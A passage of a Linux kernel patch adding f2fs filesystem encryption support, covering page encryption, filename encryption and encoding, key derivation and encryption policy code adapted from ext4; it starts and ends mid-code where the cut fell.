unmapped. */ + if ((*page)->mapping) + return; + + /* The bounce data page is unmapped. */ + bounce_page = *page; + ctx = (struct f2fs_crypto_ctx *)page_private(bounce_page); + + /* restore control page */ + *page = ctx->w.control_page; + + f2fs_restore_control_page(bounce_page); +} + +void f2fs_restore_control_page(struct page *data_page) +{ + struct f2fs_crypto_ctx *ctx = + (struct f2fs_crypto_ctx *)page_private(data_page); + + set_page_private(data_page, (unsigned long)NULL); + ClearPagePrivate(data_page); + unlock_page(data_page); + f2fs_release_crypto_ctx(ctx); +} + +/** + * f2fs_crypt_complete() - The completion callback for page encryption + * @req: The asynchronous encryption request context + * @res: The result of the encryption operation + */ +static void f2fs_crypt_complete(struct crypto_async_request *req, int res) +{ + struct f2fs_completion_result *ecr = req->data; + + if (res == -EINPROGRESS) + return; + ecr->res = res; + complete(&ecr->completion); +} + +typedef enum { + F2FS_DECRYPT = 0, + F2FS_ENCRYPT, +} f2fs_direction_t; + +static int f2fs_page_crypto(struct f2fs_crypto_ctx *ctx, + struct inode *inode, + f2fs_direction_t rw, + pgoff_t index, + struct page *src_page, + struct page *dest_page) +{ + u8 xts_tweak[F2FS_XTS_TWEAK_SIZE]; + struct ablkcipher_request *req = NULL; + DECLARE_F2FS_COMPLETION_RESULT(ecr); + struct scatterlist dst, src; + struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + struct crypto_ablkcipher *tfm = ci->ci_ctfm; + int res = 0; + + req = ablkcipher_request_alloc(tfm, GFP_NOFS); + if (!req) { + printk_ratelimited(KERN_ERR + "%s: crypto_request_alloc() failed\n", + __func__); + return -ENOMEM; + } + ablkcipher_request_set_callback( + req, CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, + f2fs_crypt_complete, &ecr); + + BUILD_BUG_ON(F2FS_XTS_TWEAK_SIZE < sizeof(index)); + memcpy(xts_tweak, &index, sizeof(index)); + memset(&xts_tweak[sizeof(index)], 0, + F2FS_XTS_TWEAK_SIZE - sizeof(index)); + + sg_init_table(&dst, 1); + sg_set_page(&dst, dest_page, PAGE_CACHE_SIZE, 0); + sg_init_table(&src, 1); + sg_set_page(&src, src_page, PAGE_CACHE_SIZE, 0); + ablkcipher_request_set_crypt(req, &src, &dst, PAGE_CACHE_SIZE, + xts_tweak); + if (rw == F2FS_DECRYPT) + res = crypto_ablkcipher_decrypt(req); + else + res = crypto_ablkcipher_encrypt(req); + if (res == -EINPROGRESS || res == -EBUSY) { + BUG_ON(req->base.data != &ecr); + wait_for_completion(&ecr.completion); + res = ecr.res; + } + ablkcipher_request_free(req); + if (res) { + printk_ratelimited(KERN_ERR + "%s: crypto_ablkcipher_encrypt() returned %d\n", + __func__, res); + return res; + } + return 0; +} + +static struct page *alloc_bounce_page(struct f2fs_crypto_ctx *ctx) +{ + ctx->w.bounce_page = mempool_alloc(f2fs_bounce_page_pool, GFP_NOWAIT); + if (ctx->w.bounce_page == NULL) + return ERR_PTR(-ENOMEM); + ctx->flags |= F2FS_WRITE_PATH_FL; + return ctx->w.bounce_page; +} + +/** + * f2fs_encrypt() - Encrypts a page + * @inode: The inode for which the encryption should take place + * @plaintext_page: The page to encrypt. Must be locked. + * + * Allocates a ciphertext page and encrypts plaintext_page into it using the ctx + * encryption context. + * + * Called on the page write path. The caller must call + * f2fs_restore_control_page() on the returned ciphertext page to + * release the bounce buffer and the encryption context. + * + * Return: An allocated page with the encrypted content on success. Else, an + * error value or NULL. + */ +struct page *f2fs_encrypt(struct inode *inode, + struct page *plaintext_page) +{ + struct f2fs_crypto_ctx *ctx; + struct page *ciphertext_page = NULL; + int err; + + BUG_ON(!PageLocked(plaintext_page)); + + ctx = f2fs_get_crypto_ctx(inode); + if (IS_ERR(ctx)) + return (struct page *)ctx; + + /* The encryption operation will require a bounce page. */ + ciphertext_page = alloc_bounce_page(ctx); + if (IS_ERR(ciphertext_page)) + goto err_out; + + ctx->w.control_page = plaintext_page; + err = f2fs_page_crypto(ctx, inode, F2FS_ENCRYPT, plaintext_page->index, + plaintext_page, ciphertext_page); + if (err) { + ciphertext_page = ERR_PTR(err); + goto err_out; + } + + SetPagePrivate(ciphertext_page); + set_page_private(ciphertext_page, (unsigned long)ctx); + lock_page(ciphertext_page); + return ciphertext_page; + +err_out: + f2fs_release_crypto_ctx(ctx); + return ciphertext_page; +} + +/** + * f2fs_decrypt() - Decrypts a page in-place + * @ctx: The encryption context. + * @page: The page to decrypt. Must be locked. + * + * Decrypts page in-place using the ctx encryption context. + * + * Called from the read completion callback. + * + * Return: Zero on success, non-zero otherwise. + */ +int f2fs_decrypt(struct f2fs_crypto_ctx *ctx, struct page *page) +{ + BUG_ON(!PageLocked(page)); + + return f2fs_page_crypto(ctx, page->mapping->host, + F2FS_DECRYPT, page->index, page, page); +} + +/* + * Convenience function which takes care of allocating and + * deallocating the encryption context + */ +int f2fs_decrypt_one(struct inode *inode, struct page *page) +{ + struct f2fs_crypto_ctx *ctx = f2fs_get_crypto_ctx(inode); + int ret; + + if (IS_ERR(ctx)) + return PTR_ERR(ctx); + ret = f2fs_decrypt(ctx, page); + f2fs_release_crypto_ctx(ctx); + return ret; +} + +bool f2fs_valid_contents_enc_mode(uint32_t mode) +{ + return (mode == F2FS_ENCRYPTION_MODE_AES_256_XTS); +} + +/** + * f2fs_validate_encryption_key_size() - Validate the encryption key size + * @mode: The key mode. + * @size: The key size to validate. + * + * Return: The validated key size for @mode. Zero if invalid. + */ +uint32_t f2fs_validate_encryption_key_size(uint32_t mode, uint32_t size) +{ + if (size == f2fs_encryption_key_size(mode)) + return size; + return 0; +} diff --git a/fs/f2fs/crypto_fname.c b/fs/f2fs/crypto_fname.c new file mode 100644 index 0000000000000..ab377d496a39a --- /dev/null +++ b/fs/f2fs/crypto_fname.c @@ -0,0 +1,440 @@ +/* + * linux/fs/f2fs/crypto_fname.c + * + * Copied from linux/fs/ext4/crypto.c + * + * Copyright (C) 2015, Google, Inc. + * Copyright (C) 2015, Motorola Mobility + * + * This contains functions for filename crypto management in f2fs + * + * Written by Uday Savagaonkar, 2014. + * + * Adjust f2fs dentry structure + * Jaegeuk Kim, 2015. + * + * This has not yet undergone a rigorous security audit. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "f2fs.h" +#include "f2fs_crypto.h" +#include "xattr.h" + +/** + * f2fs_dir_crypt_complete() - + */ +static void f2fs_dir_crypt_complete(struct crypto_async_request *req, int res) +{ + struct f2fs_completion_result *ecr = req->data; + + if (res == -EINPROGRESS) + return; + ecr->res = res; + complete(&ecr->completion); +} + +bool f2fs_valid_filenames_enc_mode(uint32_t mode) +{ + return (mode == F2FS_ENCRYPTION_MODE_AES_256_CTS); +} + +static unsigned max_name_len(struct inode *inode) +{ + return S_ISLNK(inode->i_mode) ? inode->i_sb->s_blocksize : + F2FS_NAME_LEN; +} + +/** + * f2fs_fname_encrypt() - + * + * This function encrypts the input filename, and returns the length of the + * ciphertext. Errors are returned as negative numbers. We trust the caller to + * allocate sufficient memory to oname string. + */ +static int f2fs_fname_encrypt(struct inode *inode, + const struct qstr *iname, struct f2fs_str *oname) +{ + u32 ciphertext_len; + struct ablkcipher_request *req = NULL; + DECLARE_F2FS_COMPLETION_RESULT(ecr); + struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + struct crypto_ablkcipher *tfm = ci->ci_ctfm; + int res = 0; + char iv[F2FS_CRYPTO_BLOCK_SIZE]; + struct scatterlist src_sg, dst_sg; + int padding = 4 << (ci->ci_flags & F2FS_POLICY_FLAGS_PAD_MASK); + char *workbuf, buf[32], *alloc_buf = NULL; + unsigned lim = max_name_len(inode); + + if (iname->len <= 0 || iname->len > lim) + return -EIO; + + ciphertext_len = (iname->len < F2FS_CRYPTO_BLOCK_SIZE) ? + F2FS_CRYPTO_BLOCK_SIZE : iname->len; + ciphertext_len = f2fs_fname_crypto_round_up(ciphertext_len, padding); + ciphertext_len = (ciphertext_len > lim) ? lim : ciphertext_len; + + if (ciphertext_len <= sizeof(buf)) { + workbuf = buf; + } else { + alloc_buf = kmalloc(ciphertext_len, GFP_NOFS); + if (!alloc_buf) + return -ENOMEM; + workbuf = alloc_buf; + } + + /* Allocate request */ + req = ablkcipher_request_alloc(tfm, GFP_NOFS); + if (!req) { + printk_ratelimited(KERN_ERR + "%s: crypto_request_alloc() failed\n", __func__); + kfree(alloc_buf); + return -ENOMEM; + } + ablkcipher_request_set_callback(req, + CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, + f2fs_dir_crypt_complete, &ecr); + + /* Copy the input */ + memcpy(workbuf, iname->name, iname->len); + if (iname->len < ciphertext_len) + memset(workbuf + iname->len, 0, ciphertext_len - iname->len); + + /* Initialize IV */ + memset(iv, 0, F2FS_CRYPTO_BLOCK_SIZE); + + /* Create encryption request */ + sg_init_one(&src_sg, workbuf, ciphertext_len); + sg_init_one(&dst_sg, oname->name, ciphertext_len); + ablkcipher_request_set_crypt(req, &src_sg, &dst_sg, ciphertext_len, iv); + res = crypto_ablkcipher_encrypt(req); + if (res == -EINPROGRESS || res == -EBUSY) { + BUG_ON(req->base.data != &ecr); + wait_for_completion(&ecr.completion); + res = ecr.res; + } + kfree(alloc_buf); + ablkcipher_request_free(req); + if (res < 0) { + printk_ratelimited(KERN_ERR + "%s: Error (error code %d)\n", __func__, res); + } + oname->len = ciphertext_len; + return res; +} + +/* + * f2fs_fname_decrypt() + * This function decrypts the input filename, and returns + * the length of the plaintext. + * Errors are returned as negative numbers. + * We trust the caller to allocate sufficient memory to oname string. + */ +static int f2fs_fname_decrypt(struct inode *inode, + const struct f2fs_str *iname, struct f2fs_str *oname) +{ + struct ablkcipher_request *req = NULL; + DECLARE_F2FS_COMPLETION_RESULT(ecr); + struct scatterlist src_sg, dst_sg; + struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + struct crypto_ablkcipher *tfm = ci->ci_ctfm; + int res = 0; + char iv[F2FS_CRYPTO_BLOCK_SIZE]; + unsigned lim = max_name_len(inode); + + if (iname->len <= 0 || iname->len > lim) + return -EIO; + + /* Allocate request */ + req = ablkcipher_request_alloc(tfm, GFP_NOFS); + if (!req) { + printk_ratelimited(KERN_ERR + "%s: crypto_request_alloc() failed\n", __func__); + return -ENOMEM; + } + ablkcipher_request_set_callback(req, + CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, + f2fs_dir_crypt_complete, &ecr); + + /* Initialize IV */ + memset(iv, 0, F2FS_CRYPTO_BLOCK_SIZE); + + /* Create decryption request */ + sg_init_one(&src_sg, iname->name, iname->len); + sg_init_one(&dst_sg, oname->name, oname->len); + ablkcipher_request_set_crypt(req, &src_sg, &dst_sg, iname->len, iv); + res = crypto_ablkcipher_decrypt(req); + if (res == -EINPROGRESS || res == -EBUSY) { + BUG_ON(req->base.data != &ecr); + wait_for_completion(&ecr.completion); + res = ecr.res; + } + ablkcipher_request_free(req); + if (res < 0) { + printk_ratelimited(KERN_ERR + "%s: Error in f2fs_fname_decrypt (error code %d)\n", + __func__, res); + return res; + } + + oname->len = strnlen(oname->name, iname->len); + return oname->len; +} + +static const char *lookup_table = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+,"; + +/** + * f2fs_fname_encode_digest() - + * + * Encodes the input digest using characters from the set [a-zA-Z0-9_+]. + * The encoded string is roughly 4/3 times the size of the input string. + */ +static int digest_encode(const char *src, int len, char *dst) +{ + int i = 0, bits = 0, ac = 0; + char *cp = dst; + + while (i < len) { + ac += (((unsigned char) src[i]) << bits); + bits += 8; + do { + *cp++ = lookup_table[ac & 0x3f]; + ac >>= 6; + bits -= 6; + } while (bits >= 6); + i++; + } + if (bits) + *cp++ = lookup_table[ac & 0x3f]; + return cp - dst; +} + +static int digest_decode(const char *src, int len, char *dst) +{ + int i = 0, bits = 0, ac = 0; + const char *p; + char *cp = dst; + + while (i < len) { + p = strchr(lookup_table, src[i]); + if (p == NULL || src[i] == 0) + return -2; + ac += (p - lookup_table) << bits; + bits += 6; + if (bits >= 8) { + *cp++ = ac & 0xff; + ac >>= 8; + bits -= 8; + } + i++; + } + if (ac) + return -1; + return cp - dst; +} + +/** + * f2fs_fname_crypto_round_up() - + * + * Return: The next multiple of block size + */ +u32 f2fs_fname_crypto_round_up(u32 size, u32 blksize) +{ + return ((size + blksize - 1) / blksize) * blksize; +} + +/** + * f2fs_fname_crypto_alloc_obuff() - + * + * Allocates an output buffer that is sufficient for the crypto operation + * specified by the context and the direction. + */ +int f2fs_fname_crypto_alloc_buffer(struct inode *inode, + u32 ilen, struct f2fs_str *crypto_str) +{ + unsigned int olen; + int padding = 16; + struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + + if (ci) + padding = 4 << (ci->ci_flags & F2FS_POLICY_FLAGS_PAD_MASK); + if (padding < F2FS_CRYPTO_BLOCK_SIZE) + padding = F2FS_CRYPTO_BLOCK_SIZE; + olen = f2fs_fname_crypto_round_up(ilen, padding); + crypto_str->len = olen; + if (olen < F2FS_FNAME_CRYPTO_DIGEST_SIZE * 2) + olen = F2FS_FNAME_CRYPTO_DIGEST_SIZE * 2; + /* Allocated buffer can hold one more character to null-terminate the + * string */ + crypto_str->name = kmalloc(olen + 1, GFP_NOFS); + if (!(crypto_str->name)) + return -ENOMEM; + return 0; +} + +/** + * f2fs_fname_crypto_free_buffer() - + * + * Frees the buffer allocated for crypto operation. + */ +void f2fs_fname_crypto_free_buffer(struct f2fs_str *crypto_str) +{ + if (!crypto_str) + return; + kfree(crypto_str->name); + crypto_str->name = NULL; +} + +/** + * f2fs_fname_disk_to_usr() - converts a filename from disk space to user space + */ +int f2fs_fname_disk_to_usr(struct inode *inode, + f2fs_hash_t *hash, + const struct f2fs_str *iname, + struct f2fs_str *oname) +{ + const struct qstr qname = FSTR_TO_QSTR(iname); + char buf[24]; + int ret; + + if (is_dot_dotdot(&qname)) { + oname->name[0] = '.'; + oname->name[iname->len - 1] = '.'; + oname->len = iname->len; + return oname->len; + } + + if (F2FS_I(inode)->i_crypt_info) + return f2fs_fname_decrypt(inode, iname, oname); + + if (iname->len <= F2FS_FNAME_CRYPTO_DIGEST_SIZE) { + ret = digest_encode(iname->name, iname->len, oname->name); + oname->len = ret; + return ret; + } + if (hash) { + memcpy(buf, hash, 4); + memset(buf + 4, 0, 4); + } else + memset(buf, 0, 8); + memcpy(buf + 8, iname->name + iname->len - 16, 16); + oname->name[0] = '_'; + ret = digest_encode(buf, 24, oname->name + 1); + oname->len = ret + 1; + return ret + 1; +} + +/** + * f2fs_fname_usr_to_disk() - converts a filename from user space to disk space + */ +int f2fs_fname_usr_to_disk(struct inode *inode, + const struct qstr *iname, + struct f2fs_str *oname) +{ + int res; + struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + + if (is_dot_dotdot(iname)) { + oname->name[0] = '.'; + oname->name[iname->len - 1] = '.'; + oname->len = iname->len; + return oname->len; + } + + if (ci) { + res = f2fs_fname_encrypt(inode, iname, oname); + return res; + } + /* Without a proper key, a user is not allowed to modify the filenames + * in a directory. Consequently, a user space name cannot be mapped to + * a disk-space name */ + return -EACCES; +} + +int f2fs_fname_setup_filename(struct inode *dir, const struct qstr *iname, + int lookup, struct f2fs_filename *fname) +{ + struct f2fs_crypt_info *ci; + int ret = 0, bigname = 0; + + memset(fname, 0, sizeof(struct f2fs_filename)); + fname->usr_fname = iname; + + if (!f2fs_encrypted_inode(dir) || is_dot_dotdot(iname)) { + fname->disk_name.name = (unsigned char *)iname->name; + fname->disk_name.len = iname->len; + return 0; + } + ret = f2fs_get_encryption_info(dir); + if (ret) + return ret; + ci = F2FS_I(dir)->i_crypt_info; + if (ci) { + ret = f2fs_fname_crypto_alloc_buffer(dir, iname->len, + &fname->crypto_buf); + if (ret < 0) + return ret; + ret = f2fs_fname_encrypt(dir, iname, &fname->crypto_buf); + if (ret < 0) + goto errout; + fname->disk_name.name = fname->crypto_buf.name; + fname->disk_name.len = fname->crypto_buf.len; + return 0; + } + if (!lookup) + return -EACCES; + + /* We don't have the key and we are doing a lookup; decode the + * user-supplied name + */ + if (iname->name[0] == '_') + bigname = 1; + if ((bigname && (iname->len != 33)) || + (!bigname && (iname->len > 43))) + return -ENOENT; + + fname->crypto_buf.name = kmalloc(32, GFP_KERNEL); + if (fname->crypto_buf.name == NULL) + return -ENOMEM; + ret = digest_decode(iname->name + bigname, iname->len - bigname, + fname->crypto_buf.name); + if (ret < 0) { + ret = -ENOENT; + goto errout; + } + fname->crypto_buf.len = ret; + if (bigname) { + memcpy(&fname->hash, fname->crypto_buf.name, 4); + } else { + fname->disk_name.name = fname->crypto_buf.name; + fname->disk_name.len = fname->crypto_buf.len; + } + return 0; +errout: + f2fs_fname_crypto_free_buffer(&fname->crypto_buf); + return ret; +} + +void f2fs_fname_free_filename(struct f2fs_filename *fname) +{ + kfree(fname->crypto_buf.name); + fname->crypto_buf.name = NULL; + fname->usr_fname = NULL; + fname->disk_name.name = NULL; +} diff --git a/fs/f2fs/crypto_key.c b/fs/f2fs/crypto_key.c new file mode 100644 index 0000000000000..9f77de2ef317e --- /dev/null +++ b/fs/f2fs/crypto_key.c @@ -0,0 +1,254 @@ +/* + * linux/fs/f2fs/crypto_key.c + * + * Copied from linux/fs/f2fs/crypto_key.c + * + * Copyright (C) 2015, Google, Inc. + * + * This contains encryption key functions for f2fs + * + * Written by Michael Halcrow, Ildar Muslukhov, and Uday Savagaonkar, 2015. + */ +#include +#include +#include +#include +#include +#include +#include + +#include "f2fs.h" +#include "xattr.h" + +static void derive_crypt_complete(struct crypto_async_request *req, int rc) +{ + struct f2fs_completion_result *ecr = req->data; + + if (rc == -EINPROGRESS) + return; + + ecr->res = rc; + complete(&ecr->completion); +} + +/** + * f2fs_derive_key_aes() - Derive a key using AES-128-ECB + * @deriving_key: Encryption key used for derivatio. + * @source_key: Source key to which to apply derivation. + * @derived_key: Derived key. + * + * Return: Zero on success; non-zero otherwise. + */ +static int f2fs_derive_key_aes(char deriving_key[F2FS_AES_128_ECB_KEY_SIZE], + char source_key[F2FS_AES_256_XTS_KEY_SIZE], + char derived_key[F2FS_AES_256_XTS_KEY_SIZE]) +{ + int res = 0; + struct ablkcipher_request *req = NULL; + DECLARE_F2FS_COMPLETION_RESULT(ecr); + struct scatterlist src_sg, dst_sg; + struct crypto_ablkcipher *tfm = crypto_alloc_ablkcipher("ecb(aes)", 0, + 0); + + if (IS_ERR(tfm)) { + res = PTR_ERR(tfm); + tfm = NULL; + goto out; + } + crypto_ablkcipher_set_flags(tfm, CRYPTO_TFM_REQ_WEAK_KEY); + req = ablkcipher_request_alloc(tfm, GFP_NOFS); + if (!req) { + res = -ENOMEM; + goto out; + } + ablkcipher_request_set_callback(req, + CRYPTO_TFM_REQ_MAY_BACKLOG | CRYPTO_TFM_REQ_MAY_SLEEP, + derive_crypt_complete, &ecr); + res = crypto_ablkcipher_setkey(tfm, deriving_key, + F2FS_AES_128_ECB_KEY_SIZE); + if (res < 0) + goto out; + + sg_init_one(&src_sg, source_key, F2FS_AES_256_XTS_KEY_SIZE); + sg_init_one(&dst_sg, derived_key, F2FS_AES_256_XTS_KEY_SIZE); + ablkcipher_request_set_crypt(req, &src_sg, &dst_sg, + F2FS_AES_256_XTS_KEY_SIZE, NULL); + res = crypto_ablkcipher_encrypt(req); + if (res == -EINPROGRESS || res == -EBUSY) { + BUG_ON(req->base.data != &ecr); + wait_for_completion(&ecr.completion); + res = ecr.res; + } +out: + if (req) + ablkcipher_request_free(req); + if (tfm) + crypto_free_ablkcipher(tfm); + return res; +} + +static void f2fs_free_crypt_info(struct f2fs_crypt_info *ci) +{ + if (!ci) + return; + + key_put(ci->ci_keyring_key); + crypto_free_ablkcipher(ci->ci_ctfm); + kmem_cache_free(f2fs_crypt_info_cachep, ci); +} + +void f2fs_free_encryption_info(struct inode *inode, struct f2fs_crypt_info *ci) +{ + struct f2fs_inode_info *fi = F2FS_I(inode); + struct f2fs_crypt_info *prev; + + if (ci == NULL) + ci = ACCESS_ONCE(fi->i_crypt_info); + if (ci == NULL) + return; + prev = cmpxchg(&fi->i_crypt_info, ci, NULL); + if (prev != ci) + return; + + f2fs_free_crypt_info(ci); +} + +int _f2fs_get_encryption_info(struct inode *inode) +{ + struct f2fs_inode_info *fi = F2FS_I(inode); + struct f2fs_crypt_info *crypt_info; + char full_key_descriptor[F2FS_KEY_DESC_PREFIX_SIZE + + (F2FS_KEY_DESCRIPTOR_SIZE * 2) + 1]; + struct key *keyring_key = NULL; + struct f2fs_encryption_key *master_key; + struct f2fs_encryption_context ctx; + struct user_key_payload *ukp; + struct crypto_ablkcipher *ctfm; + const char *cipher_str; + char raw_key[F2FS_MAX_KEY_SIZE]; + char mode; + int res; + + res = f2fs_crypto_initialize(); + if (res) + return res; +retry: + crypt_info = ACCESS_ONCE(fi->i_crypt_info); + if (crypt_info) { + if (!crypt_info->ci_keyring_key || + key_validate(crypt_info->ci_keyring_key) == 0) + return 0; + f2fs_free_encryption_info(inode, crypt_info); + goto retry; + } + + res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, + &ctx, sizeof(ctx), NULL); + if (res < 0) + return res; + else if (res != sizeof(ctx)) + return -EINVAL; + res = 0; + + crypt_info = kmem_cache_alloc(f2fs_crypt_info_cachep, GFP_NOFS); + if (!crypt_info) + return -ENOMEM; + + crypt_info->ci_flags = ctx.flags; + crypt_info->ci_data_mode = ctx.contents_encryption_mode; + crypt_info->ci_filename_mode = ctx.filenames_encryption_mode; + crypt_info->ci_ctfm = NULL; + crypt_info->ci_keyring_key = NULL; + memcpy(crypt_info->ci_master_key, ctx.master_key_descriptor, + sizeof(crypt_info->ci_master_key)); + if (S_ISREG(inode->i_mode)) + mode = crypt_info->ci_data_mode; + else if (S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode)) + mode = crypt_info->ci_filename_mode; + else + BUG(); + + switch (mode) { + case F2FS_ENCRYPTION_MODE_AES_256_XTS: + cipher_str = "xts(aes)"; + break; + case F2FS_ENCRYPTION_MODE_AES_256_CTS: + cipher_str = "cts(cbc(aes))"; + break; + default: + printk_once(KERN_WARNING + "f2fs: unsupported key mode %d (ino %u)\n", + mode, (unsigned) inode->i_ino); + res = -ENOKEY; + goto out; + } + + memcpy(full_key_descriptor, F2FS_KEY_DESC_PREFIX, + F2FS_KEY_DESC_PREFIX_SIZE); + sprintf(full_key_descriptor + F2FS_KEY_DESC_PREFIX_SIZE, + "%*phN", F2FS_KEY_DESCRIPTOR_SIZE, + ctx.master_key_descriptor); + full_key_descriptor[F2FS_KEY_DESC_PREFIX_SIZE + + (2 * F2FS_KEY_DESCRIPTOR_SIZE)] = '\0'; + keyring_key = request_key(&key_type_logon, full_key_descriptor, NULL); + if (IS_ERR(keyring_key)) { + res = PTR_ERR(keyring_key); + keyring_key = NULL; + goto out; + } + crypt_info->ci_keyring_key = keyring_key; + BUG_ON(keyring_key->type != &key_type_logon); + ukp = ((struct user_key_payload *)keyring_key->payload.data); + if (ukp->datalen != sizeof(struct f2fs_encryption_key)) { + res = -EINVAL; + goto out; + } + master_key = (struct f2fs_encryption_key *)ukp->data; + BUILD_BUG_ON(F2FS_AES_128_ECB_KEY_SIZE != + F2FS_KEY_DERIVATION_NONCE_SIZE); + BUG_ON(master_key->size != F2FS_AES_256_XTS_KEY_SIZE); + res = f2fs_derive_key_aes(ctx.nonce, master_key->raw, + raw_key); + if (res) + goto out; + + ctfm = crypto_alloc_ablkcipher(cipher_str, 0, 0); + if (!ctfm || IS_ERR(ctfm)) { + res = ctfm ? PTR_ERR(ctfm) : -ENOMEM; + printk(KERN_DEBUG + "%s: error %d (inode %u) allocating crypto tfm\n", + __func__, res, (unsigned) inode->i_ino); + goto out; + } + crypt_info->ci_ctfm = ctfm; + crypto_ablkcipher_clear_flags(ctfm, ~0); + crypto_tfm_set_flags(crypto_ablkcipher_tfm(ctfm), + CRYPTO_TFM_REQ_WEAK_KEY); + res = crypto_ablkcipher_setkey(ctfm, raw_key, + f2fs_encryption_key_size(mode)); + if (res) + goto out; + + memzero_explicit(raw_key, sizeof(raw_key)); + if (cmpxchg(&fi->i_crypt_info, NULL, crypt_info) != NULL) { + f2fs_free_crypt_info(crypt_info); + goto retry; + } + return 0; + +out: + if (res == -ENOKEY && !S_ISREG(inode->i_mode)) + res = 0; + + f2fs_free_crypt_info(crypt_info); + memzero_explicit(raw_key, sizeof(raw_key)); + return res; +} + +int f2fs_has_encryption_key(struct inode *inode) +{ + struct f2fs_inode_info *fi = F2FS_I(inode); + + return (fi->i_crypt_info != NULL); +} diff --git a/fs/f2fs/crypto_policy.c b/fs/f2fs/crypto_policy.c new file mode 100644 index 0000000000000..d4a96af513c22 --- /dev/null +++ b/fs/f2fs/crypto_policy.c @@ -0,0 +1,209 @@ +/* + * copied from linux/fs/ext4/crypto_policy.c + * + * Copyright (C) 2015, Google, Inc. + * Copyright (C) 2015, Motorola Mobility. + * + * This contains encryption policy functions for f2fs with some modifications + * to support f2fs-specific xattr APIs. + * + * Written by Michael Halcrow, 2015. + * Modified by Jaegeuk Kim, 2015. + */ +#include +#include +#include +#include + +#include "f2fs.h" +#include "xattr.h" + +static int f2fs_inode_has_encryption_context(struct inode *inode) +{ + int res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, NULL, 0, NULL); + return (res > 0); +} + +/* + * check whether the policy is consistent with the encryption context + * for the inode + */ +static int f2fs_is_encryption_context_consistent_with_policy( + struct inode *inode, const struct f2fs_encryption_policy *policy) +{ + struct f2fs_encryption_context ctx; + int res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx, + sizeof(ctx), NULL); + + if (res != sizeof(ctx)) + return 0; + + return (memcmp(ctx.master_key_descriptor, policy->master_key_descriptor, + F2FS_KEY_DESCRIPTOR_SIZE) == 0 && + (ctx.flags == policy->flags) && + (ctx.contents_encryption_mode == + policy->contents_encryption_mode) && + (ctx.filenames_encryption_mode == + policy->filenames_encryption_mode)); +} + +static int f2fs_create_encryption_context_from_policy( + struct inode *inode, const struct f2fs_encryption_policy *policy) +{ + struct f2fs_encryption_context ctx; + + ctx.format = F2FS_ENCRYPTION_CONTEXT_FORMAT_V1; + memcpy(ctx.master_key_descriptor, policy->master_key_descriptor, + F2FS_KEY_DESCRIPTOR_SIZE); + + if (!f2fs_valid_contents_enc_mode(policy->contents_encryption_mode)) { + printk(KERN_WARNING + "%s: Invalid contents encryption mode %d\n", __func__, + policy->contents_encryption_mode); + return -EINVAL; + } + + if (!f2fs_valid_filenames_enc_mode(policy->filenames_encryption_mode)) { + printk(KERN_WARNING + "%s: Invalid filenames encryption mode %d\n", __func__, + policy->filenames_encryption_mode); + return -EINVAL; + } + + if (policy->flags & ~F2FS_POLICY_FLAGS_VALID) + return -EINVAL; + + ctx.contents_encryption_mode = policy->contents_encryption_mode; + ctx.filenames_encryption_mode = policy->filenames_encryption_mode; + ctx.flags = policy->flags; + BUILD_BUG_ON(sizeof(ctx.nonce) != F2FS_KEY_DERIVATION_NONCE_SIZE); + get_random_bytes(ctx.nonce, F2FS_KEY_DERIVATION_NONCE_SIZE); + + return f2fs_setxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, &ctx, + sizeof(ctx), NULL, XATTR_CREATE); +} + +int f2fs_process_policy(const struct f2fs_encryption_policy *policy, + struct inode *inode) +{ + if (policy->version != 0) + return -EINVAL; + + if (!S_ISDIR(inode->i_mode)) + return -EINVAL; + + if (!f2fs_inode_has_encryption_context(inode)) { + if (!f2fs_empty_dir(inode)) + return -ENOTEMPTY; + return f2fs_create_encryption_context_from_policy(inode, + policy); + } + + if (f2fs_is_encryption_context_consistent_with_policy(inode, policy)) + return 0; + + printk(KERN_WARNING "%s: Policy inconsistent with encryption context\n", + __func__); + return -EINVAL; +} + +int f2fs_get_policy(struct inode *inode, struct f2fs_encryption_policy *policy) +{ + struct f2fs_encryption_context ctx; + int res; + + if (!f2fs_encrypted_inode(inode)) + return -ENODATA; + + res = f2fs_getxattr(inode, F2FS_XATTR_INDEX_ENCRYPTION, + F2FS_XATTR_NAME_ENCRYPTION_CONTEXT, + &ctx, sizeof(ctx), NULL); + if (res != sizeof(ctx)) + return -ENODATA; + if (ctx.format != F2FS_ENCRYPTION_CONTEXT_FORMAT_V1) + return -EINVAL; + + policy->version = 0; + policy->contents_encryption_mode = ctx.contents_encryption_mode; + policy->filenames_encryption_mode = ctx.filenames_encryption_mode; + policy->flags = ctx.flags; + memcpy(&policy->master_key_descriptor, ctx.master_key_descriptor, + F2FS_KEY_DESCRIPTOR_SIZE); + return 0; +} + +int f2fs_is_child_context_consistent_with_parent(struct inode *parent, + struct inode *child) +{ + struct f2fs_crypt_info *parent_ci, *child_ci; + int res; + + if ((parent == NULL) || (child == NULL)) { + pr_err("parent %p child %p\n", parent, child); + BUG_ON(1); + } + + /* no restrictions if the parent directory is not encrypted */ + if (!f2fs_encrypted_inode(parent)) + return 1; + /* if the child directory is not encrypted, this is always a problem */ + if (!f2fs_encrypted_inode(child)) + return 0; + res = f2fs_get_encryption_info(parent); + if (res) + return 0; + res = f2fs_get_encryption_info(child); + if (res) + return 0; + parent_ci = F2FS_I(parent)->i_crypt_info; + child_ci = F2FS_I(child)->i_crypt_info; + if 